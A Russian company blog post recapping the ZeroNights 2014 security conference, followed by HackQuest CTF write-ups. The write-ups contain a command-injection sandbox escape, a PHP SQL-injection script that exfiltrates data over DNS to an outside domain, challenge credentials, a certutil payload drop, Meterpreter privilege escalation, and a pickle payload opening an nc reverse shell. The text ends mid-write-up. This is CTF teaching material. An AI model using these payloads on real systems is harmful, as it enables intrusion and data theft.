Конференция ZeroNights 2014 — как все было

в 0:16, , рубрики: digital security, zeronights, Блог компании «Digital Security», информационная безопасность

Вот уже в четвертый раз в Москве прошла конференция, посвященная информационной безопасности — ZeroNights 2014.

image

Как и в прошлом году, для того, чтобы попасть на ZeroNights, нужно было либо купить билет на мероприятие, либо выиграть его в HackQuest. О HackQuest мы объявляли на Хабре, и, как и ожидалось, задания оказались достаточно высокой сложности. Вместо отведенных 24 часов на каждое задание, некоторые висели по трое суток без решения, зато с кучей подсказок. Как вам, например, взламывать программу, написанную на языке Limbo, которая выполняется в эмуляторе ОС Inferno, или написать прошивку для устройства на языке Verilog, которое подключено в качестве человека посередине между двумя другими устройствами, которые передают зашифрованные данные друг-другу? На 5 из 8 заданий участники опубликовали райтапы, с которыми вы можете ознакомиться чуть ниже.

Конференция проводилась два дня: 13 и 14 ноября. Одновременно можно было посещать два трека, в которых читались доклады, либо же участвовать в воркшопах, в которых рассказывали и показывали крутые технические трюки, и, таким образом, учили вас. Также, все два дня работал Hardware Village — стенд с радио, RFID, NFC и проводным оборудованием для проведения атак.
Воркшопы были двух типов: Fast Track — короткие 15-минутные доклады обо всем и Defensive Track — 20-минутые доклады о безопасности в какой-либо среде.
Воркшопы были на самые разные темы: от how-to по инструментам и стандартным небезопасным настройкам роутеров, до взлома ключа AES-128-ECB через показания потребленной электроэнергии.

Все два дня конференции работал стенд от Qiwi, у которого можно было получить фирменные наклейки и браслеты, но самое интересное — работал реальный терминал Qiwi, с которым посетители конференции могли взаимодействовать как угодно. В случае взлома терминала, хакера поощряли 150 тысячами рублей, но, к сожалению, в полном объеме взломать его так никто и не смог. Также, раздавали карты Qiwi Visa Unembossed, которые можно было получить, сфотографировавшись с Qiwi-девочками, и выложив фотографию в социальную сеть с хештегами #zeronighs и #qiwi.
image image

Доклады были самые разнообразные и интересные, их было действительно много. Вступительное слово на конференции предоставлялось Александру Песляку, который выступил с докладом "Is infosec a game?", реализовав презентацию в виде DOS-игры, последняя модификация которой датирована 1995 годом, и заменив ее ресурсы.

image

Лично мне очень понравился воркшоп Бориса Иванова "Расследование компьютерного инцидента с {мобильным} банковским трояном", в котором у вас была возможность проделывать те же действия, что делают вирусные аналитики при анализе зараженной банковским трояном машины, и Романа Коркикяна "Ищем ключи криптографических алгоритмов через потребленную мощность", о котором я уже упоминал ранее.

Вот один из отзывов о конференции:

По моему мнению, самым важным событием уходящего года стала международная конференция, посвященная практическим аспектам информационной безопасности, ZeroNights.

Наибольший интерес представили выступления спикеров, связанные с безопасностью автоматизированных систем управления (АСУ ТП). Данные темы были представлены в нескольких докладах. Первый из докладов был посвящен анализу безопасности технологии FDT/DTM, обеспечивающей единый интерфейс управления разнородными полевыми устройствами, входящими в состав одной АСУ ТП. В рамках данной работы группой исследователей из компании Digital Security посредством фаззинга были исследованы порядка 750 полевых устройств, работающих по протоколу HART, и в 500 из них были обнаружены уязвимости, такие как удаленное выполнение кода, отказ в обслуживании, состояние гонки, xml-инъекции. Более подробно с результатами исследования и использующимися методами фаззинга можно ознакомиться в отчете, расположенному на сайте компании.

Другой доклад, затрагивающий тему безопасности АСУ ТП, был посвящен анализу безопасности мобильных сетей 4G. Исследователи компании Positive Technologies нашли ряд уязвимостей, позволяющих посредством отправки бинарного SMS-сообщения на номер жертвы, закрепиться на ее сим-карте – вызвать ее блокировку, осуществить подмену абонента, отслеживать его месторасположение. Данная тема становится крайне актуальной по причине широкого распространения промышленных систем управления, построенных на использовании радиоканалов (в частности, на базе 4G-сетей). Подобные системы также используются и в сфере железнодорожной инфраструктуры.

Также на конференции проводились различные мероприятия, нацеленные на повышение профессиональных навыков и качеств. На площадке «Hardware Village», посетители могли изучить и поработать с различным оборудованием и программным обеспечением. Методы анализа вредоносного ПО, методы форензики на мобильных платформах, способы взлома криптографических алгоритмов демонстрировались на двух отдельных, так называемых workshop-площадках. На протяжении всей конференции работали Qiwi-терминалы, где посетители могли попробовать найти уязвимости и проэксплуатировать их. Также компания Qiwi организовала соревнования в области компьютерной безопасности – CTF (Capture The Flag), которые проходили на отдельной площадке, параллельно выступлениям докладчиков. В заключение можно сказать, что все доклады были очень интересными и познавательными, а благодаря свободному общению на конференции и дружественной обстановке, удалось завести новые знакомства, обсудить интересные новости и многие другие темы, связанные с практическими аспектами информационной безопасности.

Большое спасибо организаторам за предоставленную возможность неформального общения с коллегами, ознакомления с результатами глубоких исследований, проведенных ведущими зарубежными и российскими экспертами в области кибербезопасности, и высокий уровень организации конференции.

– Александр Коротин (ведущий специалист Центра кибербезопасности ОАО «РЖД»)

Writeups

Скрытый текст

Day 1/8 — Alighieri (reverse)

Победители: BECHED && OKOB. Автор райтапа — BECHED.
Задание также было решено: derwolfman, neomant, Anton Cherepanov

Скрытый текст

We're given a binary 2014_1_Alighieri.exe.

$ file 2014_1_Alighieri.exe 
2014_1_Alighieri.exe: PE32 executable (console) Intel 80386, for MS Windows

After observing the file with strings utility we can conclude, that it's aid emulator for InfernoOS (https://github.com/fr1tz/aid/blob/master/emu/port/main.c).
Let's launch the binary in wine:

$ wine 2014_1_Alighieri.exe 
...Gimme something...
$ wine 2014_1_Alighieri.exe asd
...But already my desire and my will 
 were being turned like a wheel, all at one speed, 
 by the Love which moves the sun and the other stars.-1.000000 -1.200000 !
-1.000000 -1.200000 !
-1.222220 -1.200000 !
0.000000 -1.200000 !
Your system has been tainted... S0rry!
А=-Хс+с_&*¦№ў<¦Ц¬ВB¬VI-N¦

Clearly, the emulator is somehow patched. While observing the binary with strings and hex-editor we can notice, that there're a lot of .gz-filenames and GZip-headers. Parse the .gz files using 'xc0x0cx80x30x80x40' magic string.
These GZip archives contain source code packages of the binaries written in Limbo language.
Unpack emuinit.b.gz and take a look at this part of code:

if(len args < 2)
  sys->fprint(sys->fildes(2), "Gimme something...");
 else{
   str := "-c /dis/echo " + hd tl args + " | /dis/crypt";
  args1 := list of {"sh", str,};

  mod: Command;
  (mod, args1) = loadmod(args1);
  mod->init(nil, args1);
 }

There's a vulnerability leading to sandbox escape:

Скрытый текст

$ wine 2014_1_Alighieri.exe 'LOL ;/dis/sh.dis;/dis/echo AHAHA'
...LOL
; ls /
/
/appl
/bin
/boot
/cdrom
/chan
/dev
/dis
/env
/etc
/fd
/fonts
/home
/initrd.img
/initrd.img.old
/lib
/lib
/lib32
/lib64
/libx32
/lost+found
/media
/mnt
/mnt
/n
/net
/net.alt
/nvfs
/opt
/poem.txt
/prof
/prog
/root
/run
/sbin
/srv
/tmp
/usr
/var
/vmlinuz

Many useful binaries are absent in the system, but we can download them (http://code.google.com/r/jasoncatena-acmesac/source/browse/), and put in /tmp on the host machine, which is mounted in Inferno VM.

 ; ./cat.dis /mnt/blas.txt
I2luY2x1ZGUgImxpYjkuaCIKI2luY2x1ZGUgIm1hdGhpLmgiCgpkb3VibGUKZG90KGludCBuLCBk
b3VibGUgKngsIGRvdWJsZSAqeSkKewoJZG91YmxlCXN1bSA9IDA7CglpbnQgaSA9IChpbnQpIHlb
MF07Cgl1bnNpZ25lZCBjaGFyIGtbXSA9IHsgMCwxLDIsMyw0LDUsNiw3LDgsOSB9OwoJdW5zaWdu
ZWQgY2hhciBqID0gKHVuc2lnbmVkIGNoYXIpIHhbMF07CQoKCXByaW50ZigiJWYgJWYgIVxuIiwg
eFszXSwgeVszXSk7CgoJaWYgKG4gPD0gMCkgCgkJcmV0dXJuIDA7Cgl3aGlsZSAobi0tKSB7CgkJ
c3VtICs9ICp4KysgKiAqeSsrOwoJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgIAlzdW0gPSAoZG91YmxlKSAoaiBeIGtbaV0pOwoKCXJldHVybiBzdW07Cn0K
CgppbnQKaWFtYXgoaW50IG4sIGRvdWJsZSAqeCkKewoJaW50CWksIG07Cglkb3VibGUJeG0sIGE7
CglpZiAobiA8PSAwKSAKCQlyZXR1cm4gMDsKCW0gPSAwOwoJeG0gPSBmYWJzKCp4KTsKCWZvciAo
aSA9IDE7IGkgPCBuOyBpKyspIHsKCQlhID0gZmFicygqKyt4KTsKCQlpZiAoeG0gPCBhKSB7CgkJ
CW0gPSBpOwoJCQl4bSA9IGE7CgkJfQoJfQoJcmV0dXJuIG07Cn0KCgpkb3VibGUKbm9ybTEoaW50
IG4sIGRvdWJsZSAqeCkKewoJZG91YmxlCXN1bSA9IDA7CglpZiAobiA8PSAwKSAKCQlyZXR1cm4g
MDsKCXdoaWxlIChuLS0pIHsKCQlzdW0gKz0gZmFicygqeCk7CgkJeCsrOwoJfQoJcmV0dXJuIHN1
bTsKfQoKCmRvdWJsZQpub3JtMihpbnQgbiwgZG91YmxlICp4KQp7Cglkb3VibGUJc3VtID0gMDsK
CWlmIChuIDw9IDApIAoJCXJldHVybiAwOwoJd2hpbGUgKG4tLSkgewoJCXN1bSArPSAqeCAqICp4
OwoJCXgrKzsKCX0KCXJldHVybiBzdW07Cn0K

Decode:

Скрытый текст

#include "lib9.h"
#include "mathi.h"

double
dot(int n, double *x, double *y)
{
	double	sum = 0;
	int i = (int) y[0];
	unsigned char k[] = { 0,1,2,3,4,5,6,7,8,9 };
	unsigned char j = (unsigned char) x[0];	

	printf("%f %f !n", x[3], y[3]);

	if (n <= 0) 
		return 0;
	while (n--) {
		sum += *x++ * *y++;
	}
                                        
      	sum = (double) (j ^ k[i]);

	return sum;
}


int
iamax(int n, double *x)
{
	int	i, m;
	double	xm, a;
	if (n <= 0) 
		return 0;
	m = 0;
	xm = fabs(*x);
	for (i = 1; i < n; i++) {
		a = fabs(*++x);
		if (xm < a) {
			m = i;
			xm = a;
		}
	}
	return m;
}


double
norm1(int n, double *x)
{
	double	sum = 0;
	if (n <= 0) 
		return 0;
	while (n--) {
		sum += fabs(*x);
		x++;
	}
	return sum;
}


double
norm2(int n, double *x)
{
	double	sum = 0;
	if (n <= 0) 
		return 0;
	while (n--) {
		sum += *x * *x;
		x++;
	}
	return sum;
}

Note that dot() function obviously always returns 51 (ord('3')).
Seems like this algorithm is launched at the system initialization. Now let's take a look at crypto.b:

...

	x := array[] of {50.0, 432432.32423, 0.0, -1.0};
	y := array[] of {1.00, 24373.231879, 0.0, -1.2};
	
	decrypt := 0;
	secret: array of byte;
	alg := DEFAULTALG;
	
	rand->init(132321);
	
	s := "P" + "r" + "i" + "vet" + "Py" + "otr" + "!" + "Py" + "otr" + "lo" + "ves" + "Go" + "&Po" + "ke" + "mons" + "!236"+"783";
	
	secret = array of byte s;

	# enough for tips guys, the s3cr3t could be found in the dis file... you need to go d333p3r inside it!

	s = string secret;
	
	sys->fprint(stderr, "Your system has been tainted... S0rry!rn");
...

'PrivetPyotr!PyotrlovesGo&Pokemons!236783' is not a flag, there's something more. We can't see any usage of rand here, the source code is clearly trimmed.
Let's get the disassembly of crypt.dis:

Скрытый текст

; disdump crypt.dis
frame     $8, 40(fp)
...
newa      $4, $3, 40(fp)		// x := array[] of {50.0, 432432.32423, 0.0, -1.0};
indf      40(fp), 96(fp), $0
movf      80(mp), 0(96(fp))
indf      40(fp), 96(fp), $1
movf      96(mp), 0(96(fp))
indf      40(fp), 96(fp), $2
movf      40(mp), 0(96(fp))
indf      40(fp), 96(fp), $3
movf      104(mp), 0(96(fp))
newa      $4, $3, 48(fp)		// y := array[] of {1.00, 24373.231879, 0.0, -1.2};
indf      48(fp), 96(fp), $0
movf      48(mp), 0(96(fp))
indf      48(fp), 96(fp), $1
movf      88(mp), 0(96(fp))
indf      48(fp), 96(fp), $2
movf      40(mp), 0(96(fp))
indf      48(fp), 96(fp), $3
movf      112(mp), 0(96(fp))
movw      $0, 60(fp)
movp      228(mp), 56(fp)
mframe    224(mp), $0, 96(fp)
movw      $132321, 32(96(fp))		// rand->init(132321);
mcall     96(fp), $0, 224(mp)
movp      136(mp), 76(fp)
cvtca     76(fp), 44(fp)
indb      44(fp), 96(fp), $2
mframe    212(mp), $0, 100(fp)
movp      40(fp), 32(100(fp))
movp      48(fp), 36(100(fp))
lea       112(fp), 16(100(fp))
mcall     100(fp), $0, 212(mp)
cvtfw     112(fp), 92(fp)
cvtwb     92(fp), 0(96(fp))
indf      40(fp), 100(fp), $1
indf      40(fp), 96(fp), $2		// s[2] = chr(int(dot(3,x,y))&0xFF)
mulf      0(96(fp)), 64(mp), 112(fp)		// x[1] = (x[2] * 64(mp))/72(mp)
divf      72(mp), 112(fp), 0(100(fp))
indf      48(fp), 100(fp), $2		// y[2] = 48(fp) = 50.0
movf      48(mp), 0(100(fp))
indb      44(fp), 100(fp), $4		// s[2] = chr(int(dot(3,x,y))&0xFF)
mframe    212(mp), $0, 92(fp)
movp      40(fp), 32(92(fp))
movp      48(fp), 36(92(fp))
lea       112(fp), 16(92(fp))
mcall     92(fp), $0, 212(mp)
cvtfw     112(fp), 96(fp)
cvtwb     96(fp), 0(100(fp))
indf      40(fp), 100(fp), $3
indf      40(fp), 96(fp), $3
mulf      0(96(fp)), 56(mp), 0(100(fp))		// x[3] *= 56(mp) = 1.22222
indf      48(fp), 100(fp), $2
movf      40(mp), 0(100(fp))		// y[2] = 40(mp) = 0.0
indb      44(fp), 100(fp), $35		// s[35] = chr(int(dot(3,x,y))&0xFF)
mframe    212(mp), $0, 92(fp)
movp      40(fp), 32(92(fp))
movp      48(fp), 36(92(fp))
lea       112(fp), 16(92(fp))
mcall     92(fp), $0, 212(mp)
cvtfw     112(fp), 96(fp)
cvtwb     96(fp), 0(100(fp))
indf      40(fp), 100(fp), $3
indf      40(fp), 96(fp), $1
mulf      0(96(fp)), 64(mp), 112(fp)		// x[3] *= (x[1] * 64(mp))/72(mp)
divf      72(mp), 112(fp), 0(100(fp))
indf      48(fp), 100(fp), $2
movf      40(mp), 0(100(fp))		// y[2] = 40(mp) = 0.0
indb      44(fp), 100(fp), $36		// s[36] = chr(int(dot(3,x,y))&0xFF)
mframe    212(mp), $0, 92(fp)
movp      40(fp), 32(92(fp))
movp      48(fp), 36(92(fp))
lea       112(fp), 16(92(fp))
mcall     92(fp), $0, 212(mp)
cvtfw     112(fp), 96(fp)
cvtwb     96(fp), 0(100(fp))
indb      44(fp), 100(fp), $37		// s[37] = rand(2014)
mframe    224(mp), $1, 92(fp)
movw      $2014, 32(92(fp))
lea       96(fp), 16(92(fp))
mcall     92(fp), $1, 224(mp)
cvtwb     96(fp), 0(100(fp))
indb      44(fp), 100(fp), $34		// s[34] = rand(2014) - 50
mframe    224(mp), $1, 92(fp)
movw      $2014, 32(92(fp))
lea       96(fp), 16(92(fp))
mcall     92(fp), $1, 224(mp)
subw      $50, 96(fp)
...

The next step is to analyze rand() algorithm. The source code of patched library is located at /appl/lib/rand.b.
implement Rand;

Скрытый текст

include "rand.m";

rsalt: big;

init(seed: int)
{
	rsalt = big 10;
}

MASK: con (big 1<<63)-(big 1);

rand(modulus: int): int
{
	rsalt = rsalt * big 1103515245 + big 12345;
	if(modulus <= 0)
		return 0;
	return int (((rsalt&MASK)>>10) % big modulus);
}

# 0 < modulus < 2^53
bigrand(modulus: big): big
{
	rsalt = rsalt * big 1103515245 + big 12345;
	if(modulus <= big 0)
		return big 0;
	return ((rsalt&MASK)>>10) % modulus;
}

Let's put all together and rewrite algorithm of key generation in python:

rsalt = 10
MASK = (1<<63)-(1)

def rand(modulus):
	global rsalt
	global MASK
	rsalt = rsalt * 1103515245 + 12345;
	if modulus <= 0:
		return 0
	return int (((rsalt&MASK)>>10) % modulus)


s = [ord(x) for x in 'PrivetPyotr!PyotrlovesGo&Pokemons!236783']
s[2] = 51
s[4] = 51
s[35] = 51
s[36] = 51
s[37] = rand(2014) & 0xFF
s[34] = rand(2014) - 50 & 0xFF

print ''.join([chr(x) for x in s])

Launch it and get the flag:

$ python genkey.py 
Pr3v3tPyotr!PyotrlovesGo&Pokemons!w3383

Day 2/8 — Yolochka(Misc/Pentest)

Победитель и автор райтапа: BECHED.

Скрытый текст

We're given to IP addresses, scan them with NMap and get the following result: one server has 9100 (Apache Tomcat) and 1521 (Oracle TNS) ports opened and other has only 1521 (tcpwrapped).

This task contained many mistakes, and it took a lot of time to solve it. Here're the steps, which actually led to the flag.

1. Guess the directory on the web-server (it's the name of the task): 80.70.234.121:9100/yolochka/

2. Fuzz the form there, then read the hint, that it's not an SQL-injection in the context of some query — you can inject the whole query instead.
Write an exploit for DNS data exfiltration:

<?php

for($i = 1; $i < 100; ++$i) {
    $query = "SELECT table_name FROM (SELECT DISTINCT owner, ROWNUM r, table_name FROM all_tables) WHERE r=$i";
    $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.zeronights.ahack.ru') from dual");
    file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name");
}

Note this in Bind9 log file:

queries: info: client 74.125.46.19#64029: query: SDO_WS_CONFERENCE_PARTICIPANTS.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.46.81#50980: query: SDO_TIN_PC_SEQ.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.147#54802: query: SDO_TIN_PC_SYSDATA_TABLE.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.82#58315: query: WWV_FLOW_DUAL100.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.16#48794: query: CUSTOMERS1.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 173.194.98.151#54859: query: SDO_WFS_LOCAL_TXNS.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.80#38451: query: SDO_GR_RDT_1.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 173.194.98.149#47182: query: SDO_GR_PARALLEL.zeronights.ahack.ru IN A -ED (192.168.1.105)

Let's get the column names:

<?php

for($i = 1; $i < 100; ++$i) {
    $query = "SELECT column_name FROM (SELECT DISTINCT owner, ROWNUM r, column_name FROM all_tab_columns WHERE table_name='CUSTOMERS1') WHERE r=$i";
    $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.$i.zeronights.ahack.ru') from dual");
    file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name");
}
queries: info: client 74.125.74.144#53451: query: CUSTOMER_ID.1.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.146#55711: query: CUSTOMER_NAME.2.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 173.194.98.145#57572: query: CITY.3.zeronights.ahack.ru IN A -ED (192.168.1.105)

Data extraction from the table is impossible due to some mistakes, thus, the author gave the password for Oracle TNS for everyone, who managed to get the column names:

login for TNS - c##webdbadmin, password - strongpassword123

3. There's nothing interesting in the database. But do you remember the second host? Maybe it's time for Database link.
The problem is that we don't know the credentials. TNS poisoning should've helped us, but it didn't work. Thus, the author had to give us the credentials SID (though we brute forced SID earlier):

31337=SYS
poradb
BRUKERNAVN

BRUKERHAVN is the default account, let's try it:

CREATE DATABASE LINK TEST123 CONNECT TO BRUKERNAVN IDENTIFIED BY "PASSWORD" USING '(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=80.70.234.122)(PORT=1521))(CONNECT_DATA=(SERVER = DEDICATED)(SERVICE_NAME=PORADB)(ROLE=DEFAULT)))';

4. Get the tables:

select * from user_tables@TEST123

There's a table PRIVATESTORAGE with fields login and password. Login contains 31337 (SYS, as mentioned in the hint above), password seems blank, rawtohex(password) yields 20000000…
The new hint says: «redaction». Ok! We can bypass redaction mechanism (google for «Oracle redaction») simply by exploiting boolean-based SQL-injection like this:

select * from PRIVATESTORAGE@TEST123 where ascii(substr(password,1,1))>40

We get the password for SYS on the first TNS: 871526.

5. Log into database, and there's no flag! Seems like we need code execution. Java procedure failed due to peculiarities o Navicat, but PL/SQL worked fine:

DECLARE
  l_output DBMS_OUTPUT.chararr;
  l_lines  INTEGER := 1000;
BEGIN
  DBMS_OUTPUT.enable(1000000);
  DBMS_JAVA.set_output(1000000);

  host_command('dir');
  DBMS_OUTPUT.get_lines(l_output, l_lines);

  FOR i IN 1 .. l_lines LOOP
    -- Do something with the line.
    -- Data in the collection - l_output(i)
    DBMS_OUTPUT.put_line(l_output(i));
  END LOOP;
END;

Hint says now to perform DLL-injection. We tried to replace oci.dll with custom one (generated by x64 msfvenom), but no success, 'cause DLL execution hasn't been triggered.
BTW, FTP didn't work, thus, we wrote base64-encoded binaries to the file system via echo and decoded them with certutil like this:

...
host_command('echo cmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>hui.enc');

host_command('certutil -decode hui.enc hui.exe');
host_command('hui.exe');

6. This command execution via Navicat is too inconvinient, let's upload Meterpreter!
The fact is that simple privilege escalation in Meterpreter worked and gave the flag.

meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
WIN-A4CD786SH46oracuser

Impersonation Tokens Available
========================================
NT AUTHORITYSYSTEM
WIN-A4CD786SH46Administrator
meterpreter > impersonate_token  WIN-A4CD786SH46\Administrator
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user WIN-A4CD786SH46Administrator
meterpreter > getuid
Server username: WIN-A4CD786SH46Administrator
meterpreter > cd password
meterpreter > ls

Listing: c:UsersAdministratorDesktoppassword
================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   0     dir   2014-10-03 04:02:41 +0400  .
40555/r-xr-xr-x   0     dir   2014-10-03 04:02:41 +0400  ..
100666/rw-rw-rw-  17    fil   2014-10-02 20:55:46 +0400  passwords.txt

meterpreter > cat passwords.txt
belkas'elakolbasy

We can even get SYSTEM:

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

Day 3/8 — InfectedTerminal (Reverse)

Победитель и автор — sysenter (Фаюстов Денис). Мастрид.

Скрытый текст

Конференция ZeroNights 2014 — как все было - 5
On one of Moscow's pos-terminals were found sample of malware of some functioning botnet network…

Нам дан архив с тремя файлами. Среди которых стандартная библиотека C, файл лицензионного соглашения и exe файл неизвестного содержания.
Посмотрев исполняемый файл, можно сделать несколько выводов о нем:

  • в оверлее zip архив
  • упакован upx
  • файл создан программой py2exe

Убираем upx и смотрим в ресурсы, забираем от туда PYTHONSCRIPT и python27.dll.

В принципе, на этом работу с основным exe можно считать оконченной, он не содержит интересующего нас кода, кроме быть может инструкции по адресу base+0x1361 (ну или где-то рядом), на которой имеет смысл поставить точку останова (момент окончания загрузки библиотеки python27.dll).

Как мы уже указали ранее, библиотека из ресурсов загружается на исполнение (без копирования на диск, «вручную»), причем база загрузки постоянна (стандартная из заголовка) и будет меняться только если желаемый регион памяти занят.
Zip архив не содержит ничего нужного нам, там только скомпилированные pyc файлы от стандартных библиотек питона.

Следующее, что нужно сделать, это распаковать PYTHONSCRIPT, созданный программой py2exe. Мне больше всего приглянулась программа unpy2exe [1]. Однако просто взять и распаковать не выйдет. Байткод зашифрован.
Были скачаны исходники соответствующей версии питона и найдена функция чтения байт кода.
В исходниках .Pythonmarshal.c функция r_object случай TYPE_CODE:

argcount = (int)r_long(p);
nlocals = (int)r_long(p);
stacksize = (int)r_long(p);
flags = (int)r_long(p);
code = r_object(p);
consts = r_object(p);
names = r_object(p);

Разобрав соответствующий кусочек кода (1E124520 == r_object) из dll получим:

argcount = (int)r_long(p);
nlocals = (int)r_long(p);
stacksize = (int)r_long(p);
flags = (int)r_long(p);	
unsigned int secret_key = (unsigned int)r_long(p);
unsigned int secret_size = (unsigned int)r_long(p);
DWORD * secret_buffer = 0;
if ( secret_size <= 0x7FFFFFFF )
	secret_buffer = (DWORD *)malloc(secret_size);
	memset(secret_buffer, 0, secret_size);
}
for ( i = 0; i < secret_size / 4; i++ ) secret_buffer[i] = r_long(p);

объект decoded_code получает ссылку на secret_buffer;

decode_bytecode(secret_size, secret_key, secret_buffer, secret_size / 4);
code = r_object(decoded_code);
if ( code ) {
	consts = r_object(p);
	names = r_object(p);

По константе 0x6611CB3B в функции decode_bytecode, находим алгоритм [2].
Примерно в это же время была опубликована подсказка в виде незашифрованного PYTHONSCRIPT, который успешно был проглочен unpy2exe распаковавшим два pyc файла. С помощью EasyPythonDecompiler декомпилируем их в py файлы.
Файл с пробелами (space) в названии нам не нужен, в то время как P429.py выглядит достаточно интересно:
<файл P429.py>
В первую очередь из данного кода мы получаем условия, выполнение которых хочет бот, для добавления адреса в HostStack. Обратим внимание на вызовы функций V9wP.O4Ik, Te8D.EqjC, T4a5.b3SS.decrypt. В zip архиве нет файлов, содержащих их объявления. Они скомпилированы в python27.dll (так называемые cython модули).

По строковым константам были определены их адреса:

1E012F20  Te8D.EqjC Gate
1E00F570  Te8D.EqjC Impl
1E00DA40  T4a5.b3SS.decrypt Gate
1E009820   T4a5.b3SS.decrypt Impl
1E021760 V9wP.O4Ik.__init__ Gate
1E017030 V9wP.O4Ik.__init__ Impl

Gate — функция в которой фигурирует вызов адреса 0x1E0256A0 с передачей имени функции в качестве параметра, а так же происходит вызов соответствующей Impl.
Impl — реализация данной функции.
Функция по адресу 0x1E0256A0, поможет найти все cython функции (у всех есть Gate, который её вызывает).
Попытавшись трассировать эти функции мы сталкиваемся с проблемой представления данных в питоне, а именно с типом PyObject*, глядя на который в отладчике, сложно сразу сказать, что перед тобой находится функция, класс, число, строка или кортеж.
Решение данной проблемы было найдено в виде функции void _PyObject_Dump (PyObject *op) по адресу 0x1E0CD0B0. Все, что она делает — это выводит информацию о переданном объекте: содержимое, тип, число ссылок на него и адрес. Но самое главное в том, что вывод идет в консоль самого приложения.
Был написан следующий код для Multiline Ultimate Assembler [4]:

<1E01304A>
	JMP 1E13DF9D ; tuple
<1E00DBDB>
	JMP 1E13DF9D ; b3SS.decrypt
<1E00D85C>
	JMP 1E13DF9D ; b3SS.hash
<1E00DA0B>
	JMP 1E13DF9D ; b3SS.encrypt
<1E00DDA6>
	JMP 1E13DF9D ; b3SS.auth	
<1E012F1B>
	JMP 1E13DF9D ; lambda
<1E02175B>
	JMP 1E13DF9D ; lambda
<1E0240EB>
	JMP 1E13DF9D ; cexec
<1E024210>
	JMP 1E13DF9D ; load
<1E02438F>
	JMP 1E13DF9D ; inj	
<1E0244E0>
	JMP 1E13DF9D ; is64p
<1E024EA6>
	JMP 1E13DF9D ; req
<1E025110>
	JMP 1E13DF9D ; console
<1E0237DB>
	JMP 1E13DF9D ; mask
<1E026FCF>
	JMP 1E13DF9D ; __init__
<1E02718A>
	JMP 1E13DF9D ; __init__
<1E13DF9D>
	MOV ESP,EBP
	POP EBP
	PUSHAD
	PUSH EAX
	CALL 1E0CD0B0 ; return value
	POP EAX
	PUSH DWORD PTR SS:[ESP+28]
	CALL 1E0CD0B0 ; function arguments as tuple
	POP EAX
	PUSH DWORD PTR SS:[ESP+24]
	CALL 1E0CD0B0 ; function itself
	POP EAX
	POPAD
	RETN

Учитывая, что библиотека питона грузится всегда по одному и тому же адресу, патчить код в multiasm становится очень удобно. В данном случае мы перехватываем управление у некоторых функций в момент выхода и выводим результат работы, переданные аргументы в виде картежа (они так к нам приходят) и название функции.
Функции для перехвата были выбраны случайным образом, какого-то особого смысла в выборе конкретно этих нет. Еще стоит заметить, что перехват сделал не совсем аккуратно, для некоторых функций после которых нет выравнивающих INT3, может произойти повреждение начала следующей функции. У меня за все время ничего не падало по этому поводу, но стоит иметь в виду, что это возможно.
Лог получится в результате работы достаточно большой, отметим несколько самых интересных записей.

'#ZN0x04_KuTweIsyfoPvoPxury', '[4a8c04]',
"xccxbbxe0xefxedx1euxa4xd9'j+?xbe5x9bx88xdfxcdxc7mx1axefxbdxa4x9cxf2xd3xeaxe9xa7"
)

Результат работы функции Te8D.EqjC, те самые (ff_hash, ff_code, ff_key).

object: 'http://*.*.*.*:808/bahgvsj/'
Значение ff_host, после выполнения ff_host = b3SS().decrypt(ff_text, self.ff_key, self.ff_code).lower()

object  : 'CMD_GET_BGP_NSAP_DAMPENED_PATHS'
object  : 'CMD_MAKE_METRIC_TYPE_INTERNAL'
object  : "%PDF-1.5n%xd0xd4xc5xd8n1 0 objn<< /S /GoTo /D (section*.2) >> ....

Несколько расшифрованных строк.

object  : "x15xeb:xbcx96x00ccopy_regn_reconstructornp0n(cxkQrnqr8Dnp1nc__builtin__nobjectnp2nNtp3nRp4n(dp5nS'cmd'np6nI13nsS'params'np7nS'2acf6d10631875df4d806ba5e0d6bfb9'np8nsb."
object  : (<T4a5.b3SS object at 0x00D39F10>,
"x15xeb:xbcxc7x00ccopy_regn_reconstructornp1n(cxkQrna2Dxnp2nc__builtin__nobjectnp3nNtRp4n(dp5nS'token'np6nS'2acf6d10631875df4d806ba5e0d6bfb9'np7nsS'cmd'np8nI7nsS'ret'np9n(lp10nVbahgvsj [4a8c04]np11naVbahgvsjnp12nasb.",
"xccxbbxe0xefxedx1euxa4xd9'j+?xbe5x9bx88xdfxcdxc7mx1axefxbdxa4x9cxf2xd3xeaxe9xa7",
'7x16xb6A.xf6(xf8/xd6ixe3xb7xe5Exf6')

И, как оказалось, самые полезные это куски сериализованных данных. Первые пришли с сервера, вторые ушли на сервер.
Известно, что например в php функция unserialize в некоторых случаях может привести к Object Injection. Было решено проверить как с этим обстоят дела в python. Предупреждение в документации гласило:

The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source [5].

import pickle
import socket
import os
class payload(object):
    def __reduce__(self):
       comm = "rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell"
       return (os.system, (comm,))  
payload = pickle.dumps(payload())
print repr(payload)

